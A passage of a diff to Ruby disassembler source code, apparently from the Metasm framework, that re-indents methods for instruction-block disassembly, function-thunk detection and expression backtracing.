todo = @addrs_todo.pop or @addrs_done.include? todo + @addrs_done << todo if todo[1] + + # from_sfret is true if from is the address of a function call that returns to addr + addr, from, from_subfuncret = todo + + return if from == Expression::Unknown + + puts "disassemble_step #{Expression[addr]} #{Expression[from] if from} #{from_subfuncret} (/#{@addrs_todo.length})" if $DEBUG + + addr = normalize(addr) + + if from and from_subfuncret and di_at(from) + @decoded[from].block.each_to_normal { |subfunc| + subfunc = normalize(subfunc) + next if not f = @function[subfunc] or f.finalized + f.finalized = true puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace - @cpu.backtrace_update_function_binding(self, subfunc, f, f.return_address) - if not f.return_address - detect_function_thunk(subfunc) - end - } - end - - if di = @decoded[addr] - if di.kind_of? DecodedInstruction - split_block(di.block, di.address) if not di.block_head? # this updates di.block - di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - bf = di.block - elsif di == true - bf = @function[addr] - end - elsif bf = @function[addr] - detect_function_thunk_noreturn(from) if bf.noreturn - elsif s = get_section_at(addr) - block = InstructionBlock.new(normalize(addr), s[0]) - block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - disassemble_block(block) - elsif from and c_parser and name = Expression[addr].reduce_rec and name.kind_of? ::String and - s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function - bf = @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) - detect_function_thunk_noreturn(from) if bf.noreturn - elsif from - if bf = @function[:default] - puts "using default function for #{Expression[addr]} from #{Expression[from]}" if $DEBUG - if name = Expression[addr].reduce_rec and name.kind_of? ::String - @function[addr] = @function[:default].dup - else - addr = :default - end - if @decoded[from] - @decoded[from].block.add_to addr - end - else - puts "not disassembling unknown address #{Expression[addr]} from #{Expression[from]}" if $DEBUG - end - if from != :default - add_xref(addr, Xref.new(:x, from)) - add_xref(Expression::Unknown, Xref.new(:x, from)) - end - else - puts "not disassembling unknown address #{Expression[addr]}" if $VERBOSE - end - - if bf and from and from != :default - if bf.kind_of? DecodedFunction - bff = bf.get_backtracked_for(self, addr, from) - else - bff = bf.backtracked_for - end - end - bff.each { |btt| - next if btt.address - if @decoded[from].kind_of? DecodedInstruction and @decoded[from].opcode.props[:saveip] and not from_subfuncret and not @function[addr] - backtrace_check_found(btt.expr, @decoded[addr], btt.origin, btt.type, btt.len, btt.maxdepth, btt.detached) - end - next if backtrace_check_funcret(btt, addr, from) - backtrace(btt.expr, from, - :include_start => true, :from_subfuncret => from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, - :len => btt.len, :detached => btt.detached, :maxdepth => btt.maxdepth) - } if bff - end - - # splits an InstructionBlock, updates the blocks backtracked_for - def split_block(block, address=nil) - if not address # invoked as split_block(0x401012) - return if not @decoded[block].kind_of? DecodedInstruction - block, address = @decoded[block].block, block - end - return block if address == block.address - new_b = block.split address - new_b.backtracked_for.dup.each { |btt| - backtrace(btt.expr, btt.address, - :only_upto => block.list.last.address, - :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, - :detached => btt.detached, :maxdepth => btt.maxdepth) - } - new_b - end - - # disassembles a new instruction block at block.address (must be normalized) - def disassemble_block(block) - raise if not block.list.empty? - di_addr = block.address - delay_slot = nil - di = nil - - # try not to run for too long - # loop usage: break if the block continues to the following instruction, else return - @disassemble_maxblocklength.times { - # check collision into a known block - break if @decoded[di_addr] - - # check self-modifying code - if @check_smc - #(-7...di.bin_length).each { |off| # uncomment to check for unaligned rewrites - waddr = di_addr #di_addr + off - each_xref(waddr, :w) { |x| - #next if off + x.len < 0 - puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE - @comment[di_addr] ||= [] - @comment[di_addr] |= ["overwritten by #{@decoded[x.origin]}"] - @callback_selfmodifying[di_addr] if callback_selfmodifying - return - } - #} - end - - # decode instruction - block.edata.ptr = di_addr - block.address + block.edata_ptr - if not di = @cpu.decode_instruction(block.edata, di_addr) - ed = block.edata - puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE - return - end - - @decoded[di_addr] = di - block.add_di di - puts di if $DEBUG - - di = @callback_newinstr[di] if callback_newinstr - return if not di - block = di.block - - di_addr = di.next_addr - - backtrace_xrefs_di_rw(di) - - if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty? - # do not backtrace until delay slot is finished (eg MIPS: di is a - # ret and the delay slot holds stack fixup needed to calc func_binding) - # XXX if the delay slot is also xref_x or :stopexec it is ignored - delay_slot ||= [di, @cpu.delay_slot(di)] - end - - if delay_slot - di, delay = delay_slot - if delay == 0 or not di_addr - backtrace_xrefs_di_x(di) - if di.opcode.props[:stopexec] or not di_addr; return - else break - end - end - delay_slot[1] = delay - 1 - end - } - - ar = [di_addr] - ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr - ar.each { |di_addr_| backtrace(di_addr_, di.address, :origin => di.address, :type => :x) } - - block - end - - # retrieve the list of execution crossrefs due to the decodedinstruction - # returns a list of symbolic expressions - def get_xrefs_x(di) - @program.get_xrefs_x(self, di) - end - - # retrieve the list of data r/w crossrefs due to the decodedinstruction - # returns a list of [type, symbolic expression, length] - def get_xrefs_rw(di) - @program.get_xrefs_rw(self, di) - end - - # disassembles_fast from a list of entrypoints, also dasm subfunctions - def disassemble_fast_deep(*entrypoints) - @entrypoints ||= [] - @entrypoints |= entrypoints - - entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) } - end - - def do_disassemble_fast_deep(ep) - disassemble_fast(ep) { |fa, di| - fa = normalize(fa) - do_disassemble_fast_deep(fa) - if di and ndi = di_at(fa) - ndi.block.add_from_normal(di.address) - end - } - end - - # disassembles fast from a list of entrypoints - # see disassemble_fast_step - def disassemble_fast(entrypoint, maxdepth=-1, &b) - ep = [entrypoint] - until ep.empty? - disassemble_fast_step(ep, &b) - maxdepth -= 1 - ep.delete_if { |a| not @decoded[normalize(a[0])] } if maxdepth == 0 - end - check_noreturn_function(entrypoint) - end - - # disassembles one block from the ary, see disassemble_fast_block - def disassemble_fast_step(todo, &b) - return if not x = todo.pop - addr, from, from_subfuncret = x - - addr = normalize(addr) - - if di = @decoded[addr] - if di.kind_of? DecodedInstruction - split_block(di.block, di.address) if not di.block_head? - di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - end - elsif s = get_section_at(addr) - block = InstructionBlock.new(normalize(addr), s[0]) - block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - todo.concat disassemble_fast_block(block, &b) - elsif name = Expression[addr].reduce_rec and name.kind_of? ::String and not @function[addr] - if c_parser and s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function - @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) - detect_function_thunk_noreturn(from) if @function[addr].noreturn - elsif @function[:default] - @function[addr] = @function[:default].dup - end - end - - disassemble_fast_checkfunc(addr) - end - - # check if an addr has an xref :x from a :saveip, if so mark as Function - def disassemble_fast_checkfunc(addr) - if @decoded[addr].kind_of? DecodedInstruction and not @function[addr] - func = false - each_xref(addr, :x) { |x_| - func = true if odi = di_at(x_.origin) and odi.opcode.props[:saveip] - } - if func - auto_label_at(addr, 'sub', 'loc', 'xref') - # XXX use default_btbind_callback ? - @function[addr] = DecodedFunction.new - @function[addr].finalized = true - detect_function_thunk(addr) - puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE - end - end - end - - # disassembles fast a new instruction block at block.address (must be normalized) - # does not recurse into subfunctions - # assumes all :saveip returns, except those pointing to a subfunc with noreturn - # yields subfunction addresses (targets of :saveip) - # only backtrace for :x with maxdepth 1 (ie handles only basic push+ret) - # returns a todo-style ary - # assumes @addrs_todo is empty - def disassemble_fast_block(block, &b) - block = InstructionBlock.new(normalize(block), get_section_at(block)[0]) if not block.kind_of? InstructionBlock - di_addr = block.address - delay_slot = nil - di = nil - ret = [] - - return ret if @decoded[di_addr] - - @disassemble_maxblocklength.times { - break if @decoded[di_addr] - - # decode instruction - block.edata.ptr = di_addr - block.address + block.edata_ptr - if not di = @cpu.decode_instruction(block.edata, di_addr) - return ret - end - - @decoded[di_addr] = di - block.add_di di - puts di if $DEBUG - - di = @callback_newinstr[di] if callback_newinstr - return ret if not di - - di_addr = di.next_addr - - if di.opcode.props[:stopexec] or di.opcode.props[:setip] - if di.opcode.props[:setip] - @addrs_todo = [] - @program.get_xrefs_x(self, di).each { |expr| - backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast) - } - end - if di.opcode.props[:saveip] - @addrs_todo = [] - ret.concat disassemble_fast_block_subfunc(di, &b) - else - ret.concat @addrs_todo - @addrs_todo = [] - end - delay_slot ||= [di, @cpu.delay_slot(di)] - end - - if delay_slot - if delay_slot[1] <= 0 - return ret if delay_slot[0].opcode.props[:stopexec] - break - end - delay_slot[1] -= 1 - end - } - - di.block.add_to_normal(di_addr) - ret << [di_addr, di.address] - end - - # handles when disassemble_fast encounters a call to a subfunction - def disassemble_fast_block_subfunc(di) - funcs = di.block.to_normal.to_a - do_ret = funcs.empty? - ret = [] - na = di.next_addr + di.bin_length * @cpu.delay_slot(di) - funcs.each { |fa| - fa = normalize(fa) - disassemble_fast_checkfunc(fa) - yield fa, di if block_given? - if f = @function[fa] and bf = f.get_backtracked_for(self, fa, di.address) and not bf.empty? - # this includes retaddr unless f is noreturn - bf.each { |btt| - next if btt.type != :x - bt = backtrace(btt.expr, di.address, :include_start => true, :origin => btt.origin, :maxdepth => [@backtrace_maxblocks_fast, 1].max) - if btt.detached - ret.concat bt # callback argument - elsif bt.find { |a| normalize(a) == na } - do_ret = true - end - } - elsif not f or not f.noreturn - do_ret = true - end - } - if do_ret - di.block.add_to_subfuncret(na) - ret << [na, di.address, true] - di.block.add_to_normal :default if not di.block.to_normal and @function[:default] - end - ret - end - - # trace whose xrefs this di is responsible of - def backtrace_xrefs_di_rw(di) - get_xrefs_rw(di).each { |type, ptr, len| - backtrace(ptr, di.address, :origin => di.address, :type => type, :len => len).each { |xaddr| - next if xaddr == Expression::Unknown - if @check_smc and type == :w - #len.times { |off| # check unaligned ? - waddr = xaddr #+ off - if wdi = di_at(waddr) - puts "W: disasm: #{di} overwrites #{wdi}" if $VERBOSE - wdi.add_comment "overwritten by #{di}" - end - #} - end - } - } - end - - # trace xrefs for execution - def backtrace_xrefs_di_x(di) - ar = @program.get_xrefs_x(self, di) - ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr - ar.each { |expr| backtrace(expr, di.address, :origin => di.address, :type => :x) } - end - - # checks if the function starting at funcaddr is an external function thunk (eg jmp [SomeExtFunc]) - # the argument must be the address of a decodedinstruction that is the first of a function, - # which must not have return_addresses - # returns the new thunk name if it was changed - def detect_function_thunk(funcaddr) - # check thunk linearity (no conditionnal branch etc) - addr = funcaddr - count = 0 - while b = block_at(addr) - count += 1 - return if count > 5 or b.list.length > 4 - if b.to_subfuncret and not b.to_subfuncret.empty? - return if b.to_subfuncret.length != 1 - addr = normalize(b.to_subfuncret.first) - return if not b.to_normal or b.to_normal.length != 1 - # check that the subfunction is simple (eg get_eip) - return if not sf = @function[normalize(b.to_normal.first)] - return if not btb = sf.backtrace_binding - btb = btb.dup - btb.delete_if { |k, v| Expression[k] == Expression[v] } - return if btb.length > 2 or btb.values.include? Expression::Unknown - else - return if not bt = b.to_normal - if bt.include? :default - addr = :default - break - elsif bt.length != 1 - return - end - addr = normalize(bt.first) - end - end - fname = Expression[addr].reduce_rec - if funcaddr != addr and f = @function[funcaddr] - # forward get_backtrace_binding to target - f.backtrace_binding = { :thunk => addr } - f.noreturn = true if @function[addr] and @function[addr].noreturn - end - return if not fname.kind_of? ::String - l = auto_label_at(funcaddr, 'sub', 'loc') - return if l[0, 4] != 'sub_' - puts "found thunk for #{fname} at #{Expression[funcaddr]}" if $DEBUG - rename_label(l, @program.new_label("thunk_#{fname}")) - end - - # this is called when reaching a noreturn function call, with the call address - # it is responsible for detecting the actual 'call' instruction leading to this - # noreturn function, and eventually mark the call target as a thunk - def detect_function_thunk_noreturn(addr) - 5.times { - return if not di = di_at(addr) - if di.opcode.props[:saveip] and not di.block.to_subfuncret - if di.block.to_normal.to_a.length == 1 - taddr = normalize(di.block.to_normal.first) - if di_at(taddr) - @function[taddr] ||= DecodedFunction.new - return detect_function_thunk(taddr) - end - end - break - else - from = di.block.from_normal.to_a + di.block.from_subfuncret.to_a - if from.length == 1 - addr = from.first - else break - end - end - } - end - - # given an address, detect if it may be a noreturn fuction - # it is if all its end blocks are calls to noreturn functions - # if it is, create a @function[fa] with noreturn = true - # should only be called with fa = target of a call - def check_noreturn_function(fa) - fb = function_blocks(fa, false, false) - lasts = fb.keys.find_all { |k| fb[k] == [] } - return if lasts.empty? - if lasts.all? { |la| - b = block_at(la) - next if not di = b.list.last - (di.opcode.props[:saveip] and b.to_normal.to_a.all? { |tfa| - tf = function_at(tfa) and tf.noreturn - }) or (di.opcode.props[:stopexec] and not di.opcode.props[:setip]) - } - # yay - @function[fa] ||= DecodedFunction.new - @function[fa].noreturn = true - end - end - - - # walks the backtrace tree from an address, passing along an object - # - # the steps are (1st = event, followed by hash keys) - # - # for each decoded instruction encountered: - # :di :di - # - # when backtracking to a block through a decodedfunction: - # (yield for each of the block's subfunctions) - # (the decodedinstruction responsible for the call will be yield next) - # :func :func, :funcaddr, :addr, :depth - # - # when jumping from one block to another (excluding :loop): # XXX include :loops ? - # :up :from, :to, :sfret - # - # when the backtrack has nothing to backtrack to (eg program entrypoint): - # :end :addr - # - # when the backtrack stops by taking too long to complete: - # :maxdepth :addr - # - # when the backtrack stops for encountering the specified stop address: - # :stopaddr :addr - # - # when rebacktracking a block already seen in the current branch: - # (looptrace is an array of [obj, block end addr, from_subfuncret], from oldest to newest) - # :loop :looptrace - # - # when the address does not match a known instruction/function: - # :unknown_addr :addr - # - # the block return value is used as follow for :di, :func, :up and :loop: - # false => the backtrace stops for the branch - # nil => the backtrace continues with the current object - # anything else => the backtrace continues with this object - # - # method arguments: - # obj is the initial value of the object - # addr is the address where the backtrace starts - # include_start is a bool specifying if the backtrace should start at addr or just before - # from_subfuncret is a bool specifying if addr points to a decodedinstruction that calls a subfunction - # stopaddr is an [array of] address of instruction, the backtrace will stop just after executing it - # maxdepth is the maximum depth (in blocks) for each backtrace branch. - # (defaults to dasm.backtrace_maxblocks, which defaults do Dasm.backtrace_maxblocks) - def backtrace_walk(obj, addr, include_start, from_subfuncret, stopaddr, maxdepth) - start_addr = normalize(addr) - stopaddr = [stopaddr] if stopaddr and not stopaddr.kind_of? ::Array - - # array of [obj, addr, from_subfuncret, loopdetect] - # loopdetect is an array of [obj, addr, from_type] of each end of block encountered - todo = [] - - # array of [obj, blockaddr] - # avoids rewalking the same value - done = [] - - # updates todo with the addresses to backtrace next - walk_up = lambda { |w_obj, w_addr, w_loopdetect| - if w_loopdetect.length > maxdepth - yield :maxdepth, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - elsif stopaddr and stopaddr.include?(w_addr) - yield :stopaddr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - elsif w_di = @decoded[w_addr] and w_di != w_di.block.list.first and w_di.address != w_di.block.address - prevdi = w_di.block.list[w_di.block.list.index(w_di)-1] - todo << [w_obj, prevdi.address, :normal, w_loopdetect] - elsif w_di - next if done.include? [w_obj, w_addr] - done << [w_obj, w_addr] - hadsomething = false - w_di.block.each_from { |f_addr, f_type| - next if f_type == :indirect - hadsomething = true - o_f_addr = f_addr - f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot - if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == f_addr and l_type == f_type } - f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) - if f_obj and f_obj != w_obj # should avoid infinite loops - f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] - end - else - f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => f_type, :loopdetect => w_loopdetect, :real_to => o_f_addr) - end - next if f_obj == false - f_obj ||= w_obj - f_loopdetect ||= w_loopdetect - # only count non-trivial paths in loopdetect (ignore linear links) - add_detect = [[f_obj, f_addr, f_type]] - add_detect = [] if @decoded[f_addr].kind_of? DecodedInstruction and tmp = @decoded[f_addr].block and - ((w_di.block.from_subfuncret.to_a == [] and w_di.block.from_normal == [f_addr] and - tmp.to_normal == [w_di.address] and tmp.to_subfuncret.to_a == []) or - (w_di.block.from_subfuncret == [f_addr] and tmp.to_subfuncret == [w_di.address])) - todo << [f_obj, f_addr, f_type, f_loopdetect + add_detect ] - } - yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if not hadsomething - elsif @function[w_addr] and w_addr != :default and w_addr != Expression::Unknown - next if done.include? [w_obj, w_addr] - oldlen = todo.length - each_xref(w_addr, :x) { |x| - f_addr = x.origin - o_f_addr = f_addr - f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot - if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == w_addr } - f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) - if f_obj and f_obj != w_obj - f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] - end - else - f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => :normal, :loopdetect => w_loopdetect, :real_to => o_f_addr) - end - next if f_obj == false - f_obj ||= w_obj - f_loopdetect ||= w_loopdetect - todo << [f_obj, f_addr, :normal, f_loopdetect + [[f_obj, f_addr, :normal]] ] - } - yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if todo.length == oldlen - else - yield :unknown_addr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - end - } - - if include_start - todo << [obj, start_addr, from_subfuncret ? :subfuncret : :normal, []] - else - walk_up[obj, start_addr, []] - end - - while not todo.empty? - obj, addr, type, loopdetect = todo.pop - di = @decoded[addr] - if di and type == :subfuncret - di.block.each_to_normal { |sf| - next if not f = @function[normalize(sf)] - s_obj = yield(:func, obj, :func => f, :funcaddr => sf, :addr => addr, :loopdetect => loopdetect) - next if s_obj == false - s_obj ||= obj - if l = loopdetect.find { |l_obj, l_addr, l_type| addr == l_addr and l_type == :normal } - l_obj = yield(:loop, s_obj, :looptrace => loopdetect[loopdetect.index(l)..-1], :loopdetect => loopdetect) - if l_obj and l_obj != s_obj - s_loopdetect = loopdetect[0...loopdetect.index(l)] - end - next if l_obj == false - s_obj = l_obj if l_obj - end - s_loopdetect ||= loopdetect - todo << [s_obj, addr, :normal, s_loopdetect + [[s_obj, addr, :normal]] ] - } - elsif di - # XXX should interpolate index if di is not in block.list, but what if the addresses are not Comparable ? - di.block.list[0..(di.block.list.index(di) || -1)].reverse_each { |di_| - di = di_ # XXX not sure.. - if stopaddr and ea = di.next_addr and stopaddr.include?(ea) - yield :stopaddr, obj, :addr => ea, :loopdetect => loopdetect - break - end - ex_obj = obj - obj = yield(:di, obj, :di => di, :loopdetect => loopdetect) - break if obj == false - obj ||= ex_obj - } - walk_up[obj, di.block.address, loopdetect] if obj - elsif @function[addr] and addr != :default and addr != Expression::Unknown - ex_obj = obj - obj = yield(:func, obj, :func => @function[addr], :funcaddr => addr, :addr => addr, :loopdetect => loopdetect) - next if obj == false - obj ||= ex_obj - walk_up[obj, addr, loopdetect] - else - yield :unknown_addr, obj, :addr => addr, :loopdetect => loopdetect - end - end - end - - # holds a backtrace result until a snapshot_addr is encountered - class StoppedExpr - attr_accessor :exprs - def initialize(e) @exprs = e end - end - - - attr_accessor :debug_backtrace - - # backtraces the value of an expression from start_addr - # updates blocks backtracked_for if type is set - # uses backtrace_walk - # all values returned are from backtrace_check_found (which may generate xrefs, labels, addrs to dasm) unless :no_check is specified - # options: - # :include_start => start backtracking including start_addr - # :from_subfuncret => - # :origin => origin to set for xrefs when resolution is successful - # :orig_expr => initial expression - # :type => xref type (:r, :w, :x, :addr) when :x, the results are added to #addrs_todo - # :len => xref len (for :r/:w) - # :snapshot_addr => addr (or array of) where the backtracker should stop - # if a snapshot_addr is given, values found are ignored if continuing the backtrace does not get to it (eg maxdepth/unk_addr/end) - # :maxdepth => maximum number of blocks to backtrace - # :detached => true if backtracking type :x and the result should not have from = origin set in @addrs_todo - # :max_complexity{_data} => maximum complexity of the expression before aborting its backtrace - # :log => Array, will be updated with the backtrace evolution - # :only_upto => backtrace only to update bt_for for current block & previous ending at only_upto - # :no_check => don't use backtrace_check_found (will not backtrace indirection static values) - # :terminals => array of symbols with constant value (stop backtracking if all symbols in the expr are terminals) (only supported with no_check) - def backtrace(expr, start_addr, nargs={}) - include_start = nargs.delete :include_start - from_subfuncret = nargs.delete :from_subfuncret - origin = nargs.delete :origin - origexpr = nargs.delete :orig_expr - type = nargs.delete :type - len = nargs.delete :len - snapshot_addr = nargs.delete(:snapshot_addr) || nargs.delete(:stopaddr) - maxdepth = nargs.delete(:maxdepth) || @backtrace_maxblocks - detached = nargs.delete :detached - max_complexity = nargs.delete(:max_complexity) || @backtrace_maxcomplexity - max_complexity_data = nargs.delete(:max_complexity) || @backtrace_maxcomplexity_data - bt_log = nargs.delete :log # array to receive the ongoing backtrace info - only_upto = nargs.delete :only_upto - no_check = nargs.delete :no_check - terminals = nargs.delete(:terminals) || [] - raise ArgumentError, "invalid argument to backtrace #{nargs.keys.inspect}" if not nargs.empty? - - expr = Expression[expr] - - origexpr = expr if origin == start_addr - - start_addr = normalize(start_addr) - di = @decoded[start_addr] - - if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) + @cpu.backtrace_update_function_binding(self, subfunc, f, f.return_address) + if not f.return_address + detect_function_thunk(subfunc) + end + } + end + + if di = @decoded[addr] + if di.kind_of? DecodedInstruction + split_block(di.block, di.address) if not di.block_head? # this updates di.block + di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default + bf = di.block + elsif di == true + bf = @function[addr] + end + elsif bf = @function[addr] + detect_function_thunk_noreturn(from) if bf.noreturn + elsif s = get_section_at(addr) + block = InstructionBlock.new(normalize(addr), s[0]) + block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default + disassemble_block(block) + elsif from and c_parser and name = Expression[addr].reduce_rec and name.kind_of? ::String and + s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function + bf = @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) + detect_function_thunk_noreturn(from) if bf.noreturn + elsif from + if bf = @function[:default] + puts "using default function for #{Expression[addr]} from #{Expression[from]}" if $DEBUG + if name = Expression[addr].reduce_rec and name.kind_of? ::String + @function[addr] = @function[:default].dup + else + addr = :default + end + if @decoded[from] + @decoded[from].block.add_to addr + end + else + puts "not disassembling unknown address #{Expression[addr]} from #{Expression[from]}" if $DEBUG + end + if from != :default + add_xref(addr, Xref.new(:x, from)) + add_xref(Expression::Unknown, Xref.new(:x, from)) + end + else + puts "not disassembling unknown address #{Expression[addr]}" if $VERBOSE + end + + if bf and from and from != :default + if bf.kind_of? DecodedFunction + bff = bf.get_backtracked_for(self, addr, from) + else + bff = bf.backtracked_for + end + end + bff.each { |btt| + next if btt.address + if @decoded[from].kind_of? DecodedInstruction and @decoded[from].opcode.props[:saveip] and not from_subfuncret and not @function[addr] + backtrace_check_found(btt.expr, @decoded[addr], btt.origin, btt.type, btt.len, btt.maxdepth, btt.detached) + end + next if backtrace_check_funcret(btt, addr, from) + backtrace(btt.expr, from, + :include_start => true, :from_subfuncret => from_subfuncret, + :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, + :len => btt.len, :detached => btt.detached, :maxdepth => btt.maxdepth) + } if bff + end + + # splits an InstructionBlock, updates the blocks backtracked_for + def split_block(block, address=nil) + if not address # invoked as split_block(0x401012) + return if not @decoded[block].kind_of? DecodedInstruction + block, address = @decoded[block].block, block + end + return block if address == block.address + new_b = block.split address + new_b.backtracked_for.dup.each { |btt| + backtrace(btt.expr, btt.address, + :only_upto => block.list.last.address, + :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, + :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, + :detached => btt.detached, :maxdepth => btt.maxdepth) + } + new_b + end + + # disassembles a new instruction block at block.address (must be normalized) + def disassemble_block(block) + raise if not block.list.empty? + di_addr = block.address + delay_slot = nil + di = nil + + # try not to run for too long + # loop usage: break if the block continues to the following instruction, else return + @disassemble_maxblocklength.times { + # check collision into a known block + break if @decoded[di_addr] + + # check self-modifying code + if @check_smc + #(-7...di.bin_length).each { |off| # uncomment to check for unaligned rewrites + waddr = di_addr #di_addr + off + each_xref(waddr, :w) { |x| + #next if off + x.len < 0 + puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE + @comment[di_addr] ||= [] + @comment[di_addr] |= ["overwritten by #{@decoded[x.origin]}"] + @callback_selfmodifying[di_addr] if callback_selfmodifying + return + } + #} + end + + # decode instruction + block.edata.ptr = di_addr - block.address + block.edata_ptr + if not di = @cpu.decode_instruction(block.edata, di_addr) + ed = block.edata + puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE + return + end + + @decoded[di_addr] = di + block.add_di di + puts di if $DEBUG + + di = @callback_newinstr[di] if callback_newinstr + return if not di + block = di.block + + di_addr = di.next_addr + + backtrace_xrefs_di_rw(di) + + if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty? + # do not backtrace until delay slot is finished (eg MIPS: di is a + # ret and the delay slot holds stack fixup needed to calc func_binding) + # XXX if the delay slot is also xref_x or :stopexec it is ignored + delay_slot ||= [di, @cpu.delay_slot(di)] + end + + if delay_slot + di, delay = delay_slot + if delay == 0 or not di_addr + backtrace_xrefs_di_x(di) + if di.opcode.props[:stopexec] or not di_addr; return + else break + end + end + delay_slot[1] = delay - 1 + end + } + + ar = [di_addr] + ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr + ar.each { |di_addr_| backtrace(di_addr_, di.address, :origin => di.address, :type => :x) } + + block + end + + # retrieve the list of execution crossrefs due to the decodedinstruction + # returns a list of symbolic expressions + def get_xrefs_x(di) + @program.get_xrefs_x(self, di) + end + + # retrieve the list of data r/w crossrefs due to the decodedinstruction + # returns a list of [type, symbolic expression, length] + def get_xrefs_rw(di) + @program.get_xrefs_rw(self, di) + end + + # disassembles_fast from a list of entrypoints, also dasm subfunctions + def disassemble_fast_deep(*entrypoints) + @entrypoints ||= [] + @entrypoints |= entrypoints + + entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) } + end + + def do_disassemble_fast_deep(ep) + disassemble_fast(ep) { |fa, di| + fa = normalize(fa) + do_disassemble_fast_deep(fa) + if di and ndi = di_at(fa) + ndi.block.add_from_normal(di.address) + end + } + end + + # disassembles fast from a list of entrypoints + # see disassemble_fast_step + def disassemble_fast(entrypoint, maxdepth=-1, &b) + ep = [entrypoint] + until ep.empty? + disassemble_fast_step(ep, &b) + maxdepth -= 1 + ep.delete_if { |a| not @decoded[normalize(a[0])] } if maxdepth == 0 + end + check_noreturn_function(entrypoint) + end + + # disassembles one block from the ary, see disassemble_fast_block + def disassemble_fast_step(todo, &b) + return if not x = todo.pop + addr, from, from_subfuncret = x + + addr = normalize(addr) + + if di = @decoded[addr] + if di.kind_of? DecodedInstruction + split_block(di.block, di.address) if not di.block_head? + di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default + end + elsif s = get_section_at(addr) + block = InstructionBlock.new(normalize(addr), s[0]) + block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default + todo.concat disassemble_fast_block(block, &b) + elsif name = Expression[addr].reduce_rec and name.kind_of? ::String and not @function[addr] + if c_parser and s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function + @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) + detect_function_thunk_noreturn(from) if @function[addr].noreturn + elsif @function[:default] + @function[addr] = @function[:default].dup + end + end + + disassemble_fast_checkfunc(addr) + end + + # check if an addr has an xref :x from a :saveip, if so mark as Function + def disassemble_fast_checkfunc(addr) + if @decoded[addr].kind_of? DecodedInstruction and not @function[addr] + func = false + each_xref(addr, :x) { |x_| + func = true if odi = di_at(x_.origin) and odi.opcode.props[:saveip] + } + if func + auto_label_at(addr, 'sub', 'loc', 'xref') + # XXX use default_btbind_callback ? + @function[addr] = DecodedFunction.new + @function[addr].finalized = true + detect_function_thunk(addr) + puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE + end + end + end + + # disassembles fast a new instruction block at block.address (must be normalized) + # does not recurse into subfunctions + # assumes all :saveip returns, except those pointing to a subfunc with noreturn + # yields subfunction addresses (targets of :saveip) + # only backtrace for :x with maxdepth 1 (ie handles only basic push+ret) + # returns a todo-style ary + # assumes @addrs_todo is empty + def disassemble_fast_block(block, &b) + block = InstructionBlock.new(normalize(block), get_section_at(block)[0]) if not block.kind_of? InstructionBlock + di_addr = block.address + delay_slot = nil + di = nil + ret = [] + + return ret if @decoded[di_addr] + + @disassemble_maxblocklength.times { + break if @decoded[di_addr] + + # decode instruction + block.edata.ptr = di_addr - block.address + block.edata_ptr + if not di = @cpu.decode_instruction(block.edata, di_addr) + return ret + end + + 